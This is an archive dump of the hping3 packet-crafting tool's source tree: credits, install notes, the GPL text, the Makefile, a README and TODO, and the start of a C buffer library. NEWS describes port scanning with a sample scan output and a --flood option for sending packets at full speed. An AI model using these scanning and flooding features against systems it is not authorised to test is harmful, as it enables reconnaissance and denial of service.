pax_global_header00006660000000000000000000000064102145402670014513gustar00rootroot0000000000000052 comment=aa075fc2e5684bde02896067c8dc816df736c376 hping3-3.a2.ds2/000077500000000000000000000000001021454026700133775ustar00rootroot00000000000000hping3-3.a2.ds2/AUTHORS000066400000000000000000000030051021454026700144450ustar00rootroot00000000000000Lead developer and maintainer: Salvatore Sanfilippo Regular contributors: Nicolas Jombart Denis Ducamp Yann Berthier Stephane Aubert Other contributors: Brieuc Jeunhomme Mika Alfonso De Gregorio Francesco Potorti` Daniel Ginsburg Steve Bleazard Also thanks to the following people for testing, bug reports, ideas, minor patches, documentation fixes: Valeriano Bedeschi Lorenzo Cavallaro awgn roofing Darren Reed Lance Spitzner Stefano Brandimarte "roy kozzer" Jason Lunz Domenico Andreoli Gian-Luca Dei Rossi Marco D'Itri Rui Miguel Barbosa Machado David Bar David Coppa Shachar Shemesh Brieuc Jeunhomme Hans-Joachim Knobloch Olivier Warin -------------------------------------------------------------------------------- Note: if you aren't in this list for an oversight, please inform me. hping3-3.a2.ds2/BUGS000066400000000000000000000006461021454026700140700ustar00rootroot00000000000000------------------------------------------------ Please, use this procedure to report hping3 bugs ------------------------------------------------ - If you are able to use a Wiki: Go to http://wiki.hping.org/20 and use the 'edit' button to add your bug report. - If you can't use the Wiki: Follow the istructions at wiki.hping.org/20 but instead to add the bug report in the hping web site, write me an email. hping3-3.a2.ds2/CHANGES000066400000000000000000000003141021454026700143700ustar00rootroot00000000000000CHANGES LOG $Id: CHANGES,v 1.2 2004/03/29 23:12:04 antirez Exp $ 30Mar2004 - First public release of hping3 21Jun2004 - Added --beep and --flood command line options. 22Jun2004 - hping3-alpha-2 released hping3-3.a2.ds2/COPYING000066400000000000000000000436441021454026700144450ustar00rootroot00000000000000hping2 is free software. It comes under GPL version 2, except for the following: display_ipopt.c : from ping, BSD style license libpcap library : BSD style license for more information see the upper part of this files. WARNING: hping2 is covered *ONLY* by GPL version 2, and *NOT* any others. hping2 is Copyright (C) 1998, 1999 by Salvatore Sanfilippo. GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 675 Mass Ave, Cambridge, MA 02139, USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS Appendix: How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) 19yy This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) 19yy name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. hping3-3.a2.ds2/INSTALL000066400000000000000000000025121021454026700144300ustar00rootroot00000000000000You can compile hping3 at least under: Linux OpenBSD FreeBSD NetBSD Solaris But hping3 is beta, for now it was mostly tested only in Linux, this should change soon now that the first beta is out. Note that starting from hping3 libpcap should be used with all the kind of systems, including Linux. Linux ----- please, follows this steps: $ ./configure (first try ./configure --help) $ vi Makefile (optional) $ make $ su # make install FreeBSD, OpenBSD, NetBSD ------------------------ You will need the libpcap and the gmake utility installed on your system. $ ./configure $ gmake $ su (or calife) # gmake install ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ NOTE: You should take care about your net/bpf.h file installing on BSD systems (specially with OpenBSD). If your original bpf.h was overwritten with the libpcap one probably hping will not work with over some interface. For example if you use the libpcap bpf.h on OpenBSD hping will not work over PPP interfaces. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solaris ------- $ export CC="gcc" $ ./configure $ gmake $ su # gmake install ALL --- To setuid hping3 is like to open the port to script kiddies for now. Don't do it in any real multiuser and otherwise security-sensitive system. antirez hping3-3.a2.ds2/KNOWN-BUGS000066400000000000000000000000351021454026700147520ustar00rootroot00000000000000See the BUGS manual section. hping3-3.a2.ds2/Makefile.in000066400000000000000000000045301021454026700154460ustar00rootroot00000000000000# $smu-mark$ # $name: Makefile.in$ # $author: Salvatore Sanfilippo 'antirez'$ # $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ # $license: This software is under GPL version 2 of license$ # $date: Sun Jul 25 17:56:15 MET DST 1999$ # $rev: 3$ CC= gcc AR=/usr/bin/ar RANLIB=/usr/bin/ranlib CCOPT= -O2 -Wall @PCAP_INCLUDE@ @TCL_INC@ @USE_TCL@ DEBUG= -g #uncomment the following if you need libpcap based build under linux #(not raccomanded) COMPILE_TIME= INSTALL_MANPATH=@MANPATH@ @PCAP@ ARSOBJ = ars.o apd.o split.o rapd.o OBJ= main.o getifname.o getlhs.o \ parseoptions.o datafiller.o \ datahandler.o gethostname.o \ binding.o getusec.o opensockraw.o \ logicmp.o waitpacket.o resolve.o \ sendip.o sendicmp.o sendudp.o \ sendtcp.o cksum.o statistics.o \ usage.o version.o antigetopt.o \ sockopt.o listen.o \ sendhcmp.o memstr.o rtt.o \ relid.o sendip_handler.o \ libpcap_stuff.o memlockall.o memunlockall.o \ memlock.o memunlock.o ip_opt_build.o \ display_ipopt.o sendrawip.o signal.o send.o \ strlcpy.o arsglue.o random.o scan.o \ hstring.o script.o interface.o \ adbuf.o hex.o apdutils.o sbignum.o \ sbignum-tables.o $(ARSOBJ) all: .depend hping3 dep: .depend .depend: @echo Making dependences @$(CC) -MM *.c > .depend libars.a: $(ARSOBJ) $(AR) rc $@ $^ $(RANLIB) $@ hping3: byteorder.h $(OBJ) $(CC) -o hping3 $(CCOPT) $(DEBUG) $(OBJ) -L/usr/local/lib $(PCAP) @SOLARISLIB@ @TCL_LIB@ @echo ./hping3 -v @echo "use \`make strip' to strip hping3 binary" @echo "use \`make install' to install hping3" hping3-static: byteorder.h $(OBJ) $(CC) -static -o hping3-static $(CCOPT) $(DEBUG) $(OBJ) -L/usr/local/lib $(PCAP) @SOLARISLIB@ @TCL_LIB@ -ldl byteorder.h: ./configure .c.o: $(CC) -c $(CCOPT) $(DEBUG) $(COMPILE_TIME) $< clean: rm -rf hping3 *.o libars.a distclean: rm -rf hping3 *.o byteorder byteorder.h systype.h Makefile libars.a .depend install: hping3 cp -f hping3 /usr/sbin/ chmod 755 /usr/sbin/hping3 ln -s /usr/sbin/hping3 /usr/sbin/hping ln -s /usr/sbin/hping3 /usr/sbin/hping2 @if [ -d ${INSTALL_MANPATH}/man8 ]; then \ cp ./docs/hping3.8 ${INSTALL_MANPATH}/man8; \ chmod 644 ${INSTALL_MANPATH}/man8/hping3.8; \ else \ echo "@@@@@@ WARNING @@@@@@"; \ echo "Can't install the man page: ${INSTALL_MANPATH}/man8 does not exist"; \ fi strip: hping3 @ls -l ./hping3 strip hping3 @ls -l ./hping3 include .depend hping3-3.a2.ds2/NEWS000066400000000000000000000032621021454026700141010ustar00rootroot00000000000000Read the README file to know about the new features in general. ------ hping3 alpha2 ------- Two new features for the command line interface. 1) Using the --beep option hping will produce a beep for every matching packet received (not for ICMP errors). 2) The --flood option to send packets as fast as possible. This is much faster than "-i u1", because it's actually an endless loop and in this mode hping will not care to read/show replies at all. ------ hping3 alpha1 ------- Read the docs/API.txt for information about scripting capabilties. Check the libs directory for examples of hping scripts. Try the --scan option in the command line to see the port-scanner features. Example of the --scan option usage: # hping3 --scan known 1.2.3.4 -S Scanning 1.2.3.4 (1.2.3.4), port known 245 ports to scan, use -V to see all the replies +----+-----------+---------+---+-----+-----+-----+ |port| serv name | flags |ttl| id | win | len | +----+-----------+---------+---+-----+-----+-----+ 9 discard : .S..A... 64 0 32767 44 13 daytime : .S..A... 64 0 32767 44 21 ftp : .S..A... 64 0 32767 44 22 ssh : .S..A... 64 0 32767 44 25 smtp : .S..A... 64 0 32767 44 37 time : .S..A... 64 0 32767 44 80 www : .S..A... 64 0 32767 44 111 sunrpc : .S..A... 64 0 32767 44 113 auth : .S..A... 64 0 32767 44 631 ipp : .S..A... 64 0 32767 44 3306 mysql : .S..A... 64 0 32767 44 6000 x11 : .S..A... 64 0 32767 44 6667 ircd : .S..A... 64 0 3072 44 All replies received. Done. Not responding ports: hping3-3.a2.ds2/README000066400000000000000000000052411021454026700142610ustar00rootroot00000000000000hping3 README file antirez@invece.org DESCRIPTION hping3 is a network tool able to send custom TCP/IP packets and to display target replies like ping do with ICMP replies. hping3 can handle fragmentation, and almost arbitrary packet size and content, using the command line interface. Since version 3, hping implements scripting capabilties, read the API.txt file under the /docs directory to know more about it. As a command line utility, hping is useful to test at many kind of networking devices like firewalls, routers, and so. It can be used as a traceroute alike program over all the supported protocols, firewalk usage, OS fingerprinting, port-scanner (see the --scan option introduced with hping3), TCP/IP stack auditing. It's also really a good didactic tool to learn TCP/IP. Using Tcl/Tk scripting much more can be done, because while the hping3 packet generation code is actually the hping2 put there mainly for compatibility with the command line interface, all the real news are about scripting. See the libs directory for example scripts. To run the example scripts type: hping3 exec ScriptName.htcl hping3 is developed and manteined by antirez@invece.org with the help of other hackers, and comes under GPL version 2 of license. Development is open so you can send me patches/suggestions/affronts without inhibitions. Please check the AUTHORS file for a list of people that contribued with code, ideas, bug reports. Also vim developer, ee.lbl.gov for tcpdump and GNU in general. DOCUMENTATION For the hping3 API check docs/API.txt You can find documentation about hping3 specific functions at http://wiki.hping.org Make sure to check the page at http://wiki.hping.org/34 DOWNLOAD The hping3 primary download site is the following: http://www.hping.org ---------------------------------------------------------------- How to get the hping3 source code from the anonymous CVS server ---------------------------------------------------------------- $ cvs -d :pserver:anonymous@cvs.hping2.sourceforge.net:/cvsroot/hping2 login CVS will ask for the password, just press enter, no password is required than type the following to download the full source code. $ cvs -z8 -d :pserver:anonymous@cvs.hping2.sourceforge.net:/cvsroot/hping2 checkout hping3s ----------------------------------- How to update your source code tree ----------------------------------- change the current directory to /somewhere/hping2, than just type: $ cvs update REQUIREMENTS A supported unix-like OS, gcc, root access. Libpcap. Tcl/Tk is optional but strongly suggested. INSTALLATION see INSTALL file. have fun, antirez hping3-3.a2.ds2/TODO000066400000000000000000000053531021454026700140750ustar00rootroot00000000000000WARNING: Also try `grep FIXME *.c' HPING3 TODO. HPING2 bugs will no longer be handled, the hping2 code inside hping3 is just a compatibility layer that will be dropped once the command line interface will be reimplemented as an hping script itself. DONE - split/rapd for IGRP (me) DONE - add more flags and broadcast address to 'hping iflist'. (me) DONE - ARS's apd and rapd support for IP and TCP options (me) - TUN/TAP support -- virtual interface creation, with Tcl channels - in 'hping recv' a timeout of zero or -1 should be specified using keyword like 'dontblock' and 'forever', like a number of packets equal to zero should be specified using the 'all' keyword. - compression primitives 'hping zip', 'hping unzip'. - recv should support -nobadsum and -notrunc to don't receive packets containing layers with the bad checksum or truncated flags set. - 'hping recvraw' should support a -split option to return the raw data splitted in layers in a flat TCL list where elements are: {layer0name binary0 layer1name binary1 ...} - Ability to specify the outgoing interface regardless of the destination IP address. (Should be impossible without datalink access) - 'hping setif ?-promisc? ?-broadcast? ifname' - 'hping build ?-nocompile? packet' APD->binary - 'hping describe packet' binary->APD - IPv6 support in ARS (some still-non-working patch received) - The hping standard library. that's the real development area to make the scripting capabilities useful. The library should contain a reasonable number of functions to make it more handy, and a number of standard exploits should be rewritten in hping as examples. Also support for fragmentation, TCP reassembly, and so on will be useful. - A short way to invoke scripts in 'path' (/usr/local/lib/hping/*.htcl), something like: "hping script.htcl". Hping may sense it's an .htlc file and not a strange-locking domain name ;) and perform a lookup in the standard library of scripts (~/.hping/*.htcl for example). - Convert all the raw-socket stuff (used in output) to datalink. - Implement a scanner, with random nmap and hping features, and also: FIN scan follwed by a SYN scan, this can be useful since many admins limit the incoming SYN packets, so the SYN or connect() scan is too slow, while the FIN scan show filtered ports as open. We can do a FIN scan, then scan the ports that appears to be open with SYN. Should be both fast and accurate. TODO (about TCL scripting, but for future releases) - 'hping iflist' should include the link header length (or -1 if it's unknown) - 'hping recv' and 'recvraw' should have a -layer2 option to return the whole level 2 frame. The same for 'hping send' and 'hping sendraw'. - 'hping guesslhs' should run the ipv4 header detection and return the lhs hping3-3.a2.ds2/adbuf.c000066400000000000000000000232011021454026700146220ustar00rootroot00000000000000/* adbuf.c - dynamic buffers support * * Copyright(C) 2001-2003 Salvatore Sanfilippo * All rights reserved. * * ----------------------------------------------------------------------------- * Design principles: * * - This library is little and probably not so flexible nor * full-featured. The goal is to have something of useful * enough to build stuff like mysql queries without to care * about allocation, but with very simple code so that security * auditing is quite simple. * - security is more important than speed in this context, so there * is some redundant and useless check to prevent that some unsane use * become a security problem. * - while the library is binary-safe the buffers are implicitly * nul termined. Even an empty buffer just initialized points * to an empty nul termined string. This prevents problems passing * strings that the user never nul-termined to functions that * expects nul-termined strings. * - memory is more important than speed in this context, so we do often * realloc to change the buffer size even if not required. * This should protect about strange usage patterns that may result * in a lot of memory allocated. * * ----------------------------------------------------------------------------- * Security auditing history: * format is SECAUDIT(date)(time spent in seconds)(audited part) * * SECAUDIT(Dec 18 2001)(3600)(all) * SECAUDIT(Aug 19 2003)(600)(adbuf_printf) * * After the last security auditing the code changed, so a new * auditing is needed as fast as possible. * Remember to audit adbuf.h too. * * ----------------------------------------------------------------------------- * CHANGES * * 18 Aug 2003 - Changes section just created. * 19 Aug 2003 - Added adbuf_printf(). * * ----------------------------------------------------------------------------- * HISTORY OF SECURITY VULNERABILITIES * * - Nothing discovered for now. * * ----------------------------------------------------------------------------- * TODO * * - adbuf_slice(), with Python-like semantics * - adbuf_split(), similar to the TCL split command * - minimal documentation */ /* $Id: adbuf.c,v 1.1.1.1 2003/08/31 17:24:00 antirez Exp $ */ #include #include #include #include #include #include "adbuf.h" /* initialize a new buffer. The new empty buffer will * appear as an empty nul terminated string to functions * that expects a string */ int adbuf_init(struct adbuf *b) { b->buf = malloc(1); /* note that if the allocation fails b->buf is set to NULL * so it's safe to call adbuf_free() after a failed initialization */ if (b->buf == NULL) return 1; b->buf[0] = '\0'; b->size = 1; b->left = 1; return 0; } /* free a buffer */ void adbuf_free(struct adbuf *b) { if (b->buf) { /* not really needed with sane libC */ free(b->buf); b->buf = NULL; } } /* reset the buffer */ int adbuf_reset(struct adbuf *b) { adbuf_free(b); return adbuf_init(b); } /* add data to the buffer 'b'. return 0 on success, 1 on out of memory. * len = 0 and data = NULL is valid */ int adbuf_add(struct adbuf *b, void *data, size_t len) { if (adbuf_ptr(b) == NULL) return 1; /* bad buffer in input */ if (len == 0) return 0; /* nothing to add */ if ((len+1) > b->left) { /* need one more byte to add a nul term */ size_t newsz = b->size + len + ADBUF_INCR; void *t = realloc(b->buf, newsz); if (t == NULL) return 1; /* out of memory */ b->buf = t; b->left += len + ADBUF_INCR; b->size = newsz; } memcpy(b->buf + adbuf_used(b), data, len); b->buf[adbuf_used(b)+len] = '\0'; /* always nul term */ b->left -= len; return 0; } /* adbuf_addchar() is like adbuf_add() when {len} = 1, but sligthly * optmized to add just one byte */ int adbuf_addchar(struct adbuf *b, int c) { if (adbuf_ptr(b) == NULL) return 1; /* bad buffer in input */ if (b->left >= 2) { unsigned char *p = b->buf + adbuf_used(b); *p = c; *(p+1) = '\0'; b->left -= 1; return 0; } else { unsigned char t[1]; t[0] = c; return adbuf_add(b, &t, 1); } return 0; /* unreached */ } /* add the given nul terminated string */ int adbuf_strcat(struct adbuf *b, char *string) { return adbuf_add(b, string, strlen(string)); } /* concatenate the buffer b to the buffer a */ int adbuf_cat(struct adbuf *a, struct adbuf *b) { return adbuf_add(a, b->buf, adbuf_used(b)); } /* cut the buffer to 'count' bytes on the right. If the used buffer is * already smaller than 'count' no operation is performed. * The function preserves the nul term. * On success zero is returned. The function returns 1 on out of memory */ int adbuf_cut(struct adbuf *b, size_t count) { char *t; if (adbuf_ptr(b) == NULL) return 1; /* bad buffer in input */ if (count >= adbuf_used(b)) return 0; count++; /* preserve space for the nul term */ t = realloc(b->buf, count); if (t == NULL) return 1; /* out of memory */ t[count-1] = '\0'; b->buf = t; b->size = count; b->left = 1; /* the nul term is conceptually free space */ return 0; } /* discard count characters on the left */ int adbuf_ltrim(struct adbuf *b, size_t count) { char *t; size_t newlen; if (adbuf_ptr(b) == NULL) return 1; /* bad buffer in input */ if (count == 0) /* nothing to trim */ return 0; /* to discard all the buffer on the left is just * the same as to reset the buffer */ if (count >= adbuf_used(b)) return adbuf_reset(b); newlen = adbuf_used(b)-count; t = malloc(newlen+1); /* add one byte for the nul term */ if (t == NULL) return 1; /* out of memory */ memcpy(t, adbuf_ptr(b)+count, newlen); t[newlen] = '\0'; free(b->buf); b->buf = t; b->size = newlen+1; b->left = 1; return 0; } /* discard count caracters on the right */ int adbuf_rtrim(struct adbuf *b, size_t count) { return adbuf_cut(b, adbuf_used(b)-count); } #define ADBUF_ITOABUFSZ 32 /* ok for 64bit integers and more */ /* add the string rappresentation of the long integer l */ int adbuf_add_long(struct adbuf *b, long l) { int n = 0; char s[ADBUF_ITOABUFSZ]; char *p = s+ADBUF_ITOABUFSZ-1; *p-- = '\0'; if (l < 0) { n = 1; l = -l; } while(p > s) { *p-- = '0' + (l % 10); l /= 10; if (l == 0) break; } if (n) *p-- = '-'; p++; return adbuf_strcat(b, p); } /* the same as adbuf_add_long() but with unsigned integers */ int adbuf_add_ulong(struct adbuf *b, unsigned long l) { char s[ADBUF_ITOABUFSZ]; char *p = s+ADBUF_ITOABUFSZ-1; *p-- = '\0'; while(p >= s) { *p-- = '0' + (l % 10); l /= 10; if (l == 0) break; } p++; return adbuf_strcat(b, p); } /* clone the buffer src in the buffer dst. * The buffers will be indipendent */ int adbuf_clone(struct adbuf *src, struct adbuf *dst) { if (adbuf_ptr(src) == NULL) return 1; /* bad buffer in input */ if (adbuf_init(dst)) return 1; /* out of memory */ return adbuf_add(dst, adbuf_ptr(src), adbuf_used(src)); } /* Concat to the buffer using printf-like format. * Note that while this function try to detect * non-C99 vsnprintf() behaviour, it can be * unsafe with some vsnprintf() implementation. * * On Linux with glibc >= 2.1, and recent *BSDs, and * in any other system with a C99-wise vsprintf(), it is sane. * On Linux with glibc < 2.1 it should be still secure, * but the behaviour is different (unable to handle strings * with more than ADBUF_PRINTF_BUFSZ chars). * On other non-C99 systems be prepared to random results. */ #define ADBUF_PRINTF_BUFSZ 1024 int adbuf_printf(struct adbuf *dst, const char *fmt, ...) { char buf[ADBUF_PRINTF_BUFSZ]; int retval; va_list ap; va_start(ap, fmt); retval = vsnprintf(buf, ADBUF_PRINTF_BUFSZ, fmt, ap); buf[ADBUF_PRINTF_BUFSZ-1] = '\0'; va_end(ap); if (retval <= -1) { /* pre-C99 vsnprintf() behaviour */ /* We just append the output without to care * about a too slow buffer. This isn't a security * issue, but the semantics of adbuf_printf() changes * on this systems. */ return adbuf_add(dst, buf, strlen(buf)); } if (retval >= ADBUF_PRINTF_BUFSZ) { /* PRINTF_BUFSZ wasn't enough */ /* Use dynamic allocation */ char *dynbuf; int newretval; if ((dynbuf = malloc(retval+1)) == NULL) return 1; /* Out of memory */ va_start(ap, fmt); newretval = vsnprintf(dynbuf, retval+1, fmt, ap); dynbuf[retval] = '\0'; va_end(ap); /* If we can trust the return value, we can avoid * strlen() */ if (newretval == retval) { int rv; rv = adbuf_add(dst, dynbuf, retval); free(dynbuf); return rv; } else { /* On strange results we are more prudent */ int rv; rv = adbuf_add(dst, dynbuf, strlen(dynbuf)); free(dynbuf); return rv; } } else { /* The simple case */ return adbuf_add(dst, buf, retval); } } #ifdef TEST_MAIN #include int main(void) { struct adbuf b, bb; int add = 0, i; adbuf_init(&b); for(i = 0; i < 6; i++) adbuf_strcat(&b, ".,;-+*#*+-;,."); while(adbuf_used(&b) > 0) { for (i = 0; i < 